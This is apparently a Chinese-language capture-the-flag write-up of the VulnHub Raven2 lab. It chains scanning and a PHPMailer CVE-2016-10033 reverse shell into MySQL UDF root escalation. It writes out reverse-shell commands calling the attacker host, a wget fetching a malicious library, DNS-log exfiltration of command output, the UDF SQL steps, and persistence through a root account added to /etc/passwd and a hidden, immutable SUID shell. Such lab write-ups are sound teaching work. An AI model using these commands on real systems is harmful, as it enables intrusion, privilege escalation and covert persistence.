目录
Raven2涉及知识
- 端口扫描工具使用
- 目录爆破工具使用
- Exp搜索以及使用
- mysql udf提权
- 权限维持
靶场下载及环境配置
靶场下载地址:https://download.vulnhub.com/raven/Raven2.ova
该靶场通关要求为:找到四个flag
下载靶场文件,使用vmware打开后缀名为.vmx的文件即可,启动后如下图所示:
下载下来默认网络适配器是桥接模式(目标机的IP与我Windows本机在一个网段),我将其改为NAT模式(目标机机IP与我虚拟机在一个网段)
渗透过程
信息收集阶段
一、扫描存活端口
首先我们需要确定需要攻击的主机ip,命令如下
nmap -sn 192.168.240.0/24 //nmap使用 -sn 扫描 仅扫描主机是否存活,不做过多扫描
从结果可得知目标ip为192.168.240.136,攻击ip为192.168.240.128
二、端口扫描
对目标ip进行端口扫描,对其开放端口以及服务信息进行收集,命令如下:
nmap -min--rate 1000 -p 0-65535 -sS 192.168.240.136
nmap -min--rate 1000 -p 0-65535 -sT 192.168.240.136
//分别使用-sS、-sT、-sU进行扫描
//-sS:使用半开放连接,速度快,并且可以绕过部分防火墙检测
//-sT:使用TCP连接进行端口探测,返回的信息更加详细
结果如下:
可以看到目标主机开放:22、80、111、44346端口,然后我们对这些端口进行更为详细的扫描
nmap -min--rate 1000 -p 22,80,111,44346 -sV 192.168.240.136
//使用-sV可以对端口开放信息进行更为详细的扫描
结果如下:
使用nmap对该主机进行简单漏洞扫描
nmap -min--rate 1000 --script=value -p 22,80,111,44346 192.168.240.136
结果如下:
扫描结果显示:该主机存在DOS攻击风险(可以忽略),80端口爆破出一些目录:可以看到有wordpress以及一些其他目录,一会可以使用目录爆破进行进一步探测。
总结端口扫描的信息如下:
- 22 :ssh爆破
- 80 :目录爆破
- 80 :存在DOS攻击
端口扫描结束
服务渗透
http服务
首先访问一下网站页面:
目录爆破
dirsearch -u http://192.168.240.136 -x 403
//对http://192.168.240.136页面进行爆破,并且过滤状态码为403的页面
发现以下疑似敏感目录:
http://192.168.240.136/vendor/
http://192.168.240.136/wordpress/
/vendor/
存在目录遍历漏洞
首先查看README.md文件:
发现使用函数包PHPMailer[PHPMailer是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务]
查看PATH文件
发现绝对路径:/var/www/html/vendor/
并且拿到第一个flag
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21} //md5解密后:Raven2Flag1 //推荐解密网站:MD5免费在线解密破解_MD5在线加密-SOMD5
继续查看泄露文件信息:
查看SECURITY.md文件
发现一些PHPMailer的历史漏洞信息
查看VERSION文件
该信息疑似PHPMailer的版本信息:5.2.16,根据SECURITY.md中的信息,可以找到这个版本存在CVE-2016-10033漏洞
进行记录,等目录访问结束进行尝试
到此泄露文件信息查询结束
/wordpress/
wordpress是一个基于php开发的博客系统,存在多个历史漏洞,可以使用wpscan工具进行漏洞扫描
wpscan http://192.168.240.136/wordpress/
//wpscan是一款专门针对wordpress的扫描工具,采用ruby语言编写,能够扫描worpress网站中包括主题漏洞、插件漏洞以及wordpress网站本身存在的漏洞。
扫描出一些敏感目录
尝试访问:http://192.168.240.136/wordpress/wp-content/uploads/
发现其目录下存在第三个flag
flag3(a0f568aa9de277887f37730d71520d9b}
//md5解密后:Raven2Flag3
//推荐解密网站:MD5免费在线解密破解_MD5在线加密-SOMD5
访问了其他泄露的目录,未有新的发现,目录泄露利用到此结束
CVE-2016-10033
在漏洞库中进行搜索该漏洞Exp:
找到EDB-ID=40974
在kali中的Exp库中进行搜索:
searchsploit 40974 //搜索EDB-ID对应的exp
searchsploit -p php/webapps/40974.py //寻找该exp的存储位置进行利用
把exp复制到桌面,进行修改并利用
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali/Desktop/
//cp 将文件复制到目标目录下
查看40974.py
vi /home/kali/Desktop/40974.py
执行该exp,需要知道目标网站目录的绝对路径(在PATH中已经获取),设置一个目标网站的网页URL,访问该URL会在你设置的绝对路径下生成shell文件,反弹shell,修改的内容如下:
target:触发生成shell文件的URL,可以设置为http://192.168.240.136/contact.php
backdoor:生成的shell文件名,自定义
fields中的email参数中的-OQueueDirectory:生成shell的绝对路径
payload参数中修改反弹shell连接的ip和端口
最终exp如下:
接下来我们只需要访问目标主机:http://192.168.240.136/content.php,就会在同目录下生成一个shell.php,访问shell.php文件的url,就会实现反弹shell
首先我们使用nc监听我们的4444端口
nc -lvnp 4444
新打开一个shell,然后运行40874.py
然后访问目标网站:http://192.168.240.136/contact.php生成shell.php文件,然后在访问http://192.168.240.136/shell.php文件进行反弹shell
反弹shell成功,目前看到的是一个伪shell,执行以下命令
python -c 'import pty;pty.spawn("/bin/bash")'
查看一下目前shell的权限
whoami
id
可以看到目前的权限非常小,首先搜索一下flag
find / -name flag*
找到了flag2.txt
查看flag2.txt内容
flag2{6a8ed560f0b5358ecf844108048eb337}
//md5解密后:Raven2Flag2
//推荐解密网站:MD5免费在线解密破解_MD5在线加密-SOMD5
最后一个flag应该就在root目录下了,我们需要对此权限做提权处理
提权
crontab提权(失败)
首先尝试crontab提权,查看/etc/crontab
/etc/crontab:这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
没有发现可以利用的计划任务文件
udf提权
尝试passwd提权、suid提权无果,查看网站目录是否存在账号密码等信息
发现配置文件config,查看发现mysql账号跟密码泄露
mysql -u root -p
R@v3nSecurity
首先查看mysql运行的权限
ps -aux | grep "mysql"
可以看到mysql是以root权限运行的,登录mysql
登录成功
可以对mysql.user表进行查询,权限足够大
可以尝试udf提权
首先进行一波信息收集
需要收集的信息如下:
mysql版本
secure_file_priv 值
plugin目录绝对路径
select version();
show variables like '%secure_file_priv%';
show variables like '%plugin%';
查询结果如下:
mysql版本:5.5.60(version>5.1.0,需要将udf.dll放置在plugin目录下)
secure_file_priv:空(允许文件导入导出)
plugin目录绝对路径:/usr/lib/mysql/plugin/
udf提权的前提:
- mysql权限是root(需要操作func表,需要有insert权限)
- secure_file_priv为空(允许导入导出文件)
搜索mysql 5.x UDF exploit
找到EDB-ID编号为1518的exp,开始利用
首先在kali中查找该exp
将其复制到桌面
然后执行以下命令
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
然后将raptor_udf2.so上传到/tmp/目录(因为/tmp/目录可写),步骤如下:
在kali中运行python -m http.server 80 打开远程服务器
在/tmp/中执行wget http://192.168.240.128/raptor_udf2.so,将其远程下载到攻击机上
下载成功,接下来登录mysql使用以下命令
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
到最后如果结果如下所示,说明创建函数成功:
接下来我们就可以使用do_system函数去执行系统命令
首先让我们测试一下使用do_system函数执行系统命令的权限
如图,因为使用函数执行命令无法将显示执行结果,所以我们使用Dnslog将返回信息带出来
推荐使用Dnslog平台:CEYE - Monitor service for security testing
使用的命令如下:
select do_system('wget *.ceye.io/`id`');
可以看到执行命令的权限是root,接下来只需要用root权限反弹shell即可
首先在kali上监听端口
nc -lvnp 7777
在shell中执行以下命令
do_system('nc -e /bin/sh 192.168.240.128 7777');
反弹root权限的shell,在root目录下查找最后一个flag
权限维持
增加超级用户账号
perl -le 'print crypt("passwd","salt")'
sadtCr0CILzv2
echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd
创建超级权限账户成功
suid后门
当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的
SUID(Set User ID)位是UNIX和UNIX-like操作系统中的一种权限位,用于指定在执行该文件时以文件所有者的权限而不是执行用户的权限来运行该文件。
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot //赋予权限4:可读,2:可写,1:可查(4+2+1=7)第一位4表示设置SUID位
ls -al /tmp/.woot
执行以上命令,我们就可以通过普通shell权限执行/tmp/.woot来获取文件拥有者的root权限
然后我们可以使用www-data权限的shell去运行/tmp/.woot文件来获取root权限
bash2 针对 suid 有一些防护的措施,使用-p参数来获取一个root shell
首先因为文件是/.woot以.结尾,所以不能使用ls查看,必须使用ls -al查看,我们再为它加一层防护
chattr +i /tmp/.woot //给/tmp/.woot文件上锁,在去掉该属性之前都无法删除
可以看到上锁成功
lsattr /tmp/.woot //查看其他属性
chattr -i /tmp/.woot //去除属性,去除之后就可以删除了
SUID后门制作成功
到此实验结束
结束总结
Raven2是一个综合性比较高的靶机,有Exp利用,还有UDF提权,最后我也是补充了一点权限维持的操作,总的来说难度为中级。